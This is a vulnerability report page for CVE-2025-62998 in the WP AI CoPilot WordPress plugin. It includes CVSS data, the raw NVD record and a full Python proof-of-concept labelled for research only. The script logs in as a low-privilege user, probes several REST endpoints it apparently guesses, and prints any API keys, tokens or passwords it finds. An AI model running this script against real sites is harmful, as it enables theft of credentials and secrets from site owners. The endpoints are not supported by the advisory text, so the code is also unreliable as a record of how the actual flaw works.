Security Vulnerability Report
中文
CVE-2025-62998 CVSS 5.0 MEDIUM

CVE-2025-62998

Published: 2025-12-18 17:15:55
Last Modified: 2026-04-23 15:34:56

Description

Insertion of Sensitive Information Into Sent Data vulnerability in WP Messiah WP AI CoPilot ai-co-pilot-for-wp allows Retrieve Embedded Sensitive Data.This issue affects WP AI CoPilot: from n/a through <= 1.2.7.

CVSS Details

CVSS Score
5.0
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:N/A:N

Configurations (Affected Products)

No configuration data available.

WP AI CoPilot (ai-co-pilot-for-wp) <= 1.2.7

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import re # CVE-2025-62998 PoC - WP AI CoPilot Sensitive Data Exposure # Target: WordPress site with ai-co-pilot-for-wp plugin <= 1.2.7 TARGET = "http://target-wordpress-site.com" USERNAME = "attacker" PASSWORD = "password123" def get_wp_nonce(url): """Get WordPress nonce for authenticated requests""" response = requests.get(url, allow_redirects=False) match = re.search(r'data-nonce="([^"]+)"', response.text) if match: return match.group(1) return None def login_wordpress(): """Authenticate to WordPress and get session cookie""" session = requests.Session() login_url = f"{TARGET}/wp-login.php" login_data = { 'log': USERNAME, 'pwd': PASSWORD, 'wp-submit': 'Log In', 'redirect_to': f"{TARGET}/wp-admin/", 'testcookie': '1' } response = session.post(login_url, data=login_data, allow_redirects=True) if 'wordpress_logged_in' in str(session.cookies): return session return None def exploit_sensitive_data(session): """Exploit CVE-2025-62998 to retrieve sensitive data""" # Target vulnerable API endpoints vulnerable_endpoints = [ f"{TARGET}/wp-json/ai-copilot/v1/config", f"{TARGET}/wp-json/ai-copilot/v1/settings", f"{TARGET}/wp-json/ai-copilot/v1/data", ] results = [] for endpoint in vulnerable_endpoints: try: response = session.get(endpoint, timeout=10) if response.status_code == 200: data = response.json() # Check for sensitive information if any(key in str(data).lower() for key in ['api_key', 'secret', 'token', 'password', 'credential']): results.append({ 'endpoint': endpoint, 'sensitive_data': data }) except Exception as e: print(f"Error accessing {endpoint}: {e}") return results def main(): print("[*] CVE-2025-62998 WP AI CoPilot Sensitive Data Exposure") print("[*] Target:", TARGET) # Step 1: Login to WordPress with low-privilege account print("\n[+] Step 1: Authenticating as low-privilege user...") session = login_wordpress() if not session: print("[-] Authentication failed") return print("[+] Successfully authenticated") # Step 2: Exploit vulnerable endpoints print("\n[+] Step 2: Exploiting sensitive data exposure...") results = exploit_sensitive_data(session) if results: print("[+] Found sensitive data:") for result in results: print(f"\nEndpoint: {result['endpoint']}") print(f"Data: {result['sensitive_data']}") else: print("[-] No sensitive data found or target not vulnerable") if __name__ == "__main__": main()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-62998", "sourceIdentifier": "[email protected]", "published": "2025-12-18T17:15:54.813", "lastModified": "2026-04-23T15:34:55.780", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Insertion of Sensitive Information Into Sent Data vulnerability in WP Messiah WP AI CoPilot ai-co-pilot-for-wp allows Retrieve Embedded Sensitive Data.This issue affects WP AI CoPilot: from n/a through <= 1.2.7."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:N/A:N", "baseScore": 5.0, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.1, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-201"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/ai-co-pilot-for-wp/vulnerability/wordpress-wp-ai-copilot-plugin-1-2-7-sensitive-data-exposure-vulnerability?_s_id=cve", "source": "[email protected]"}]}}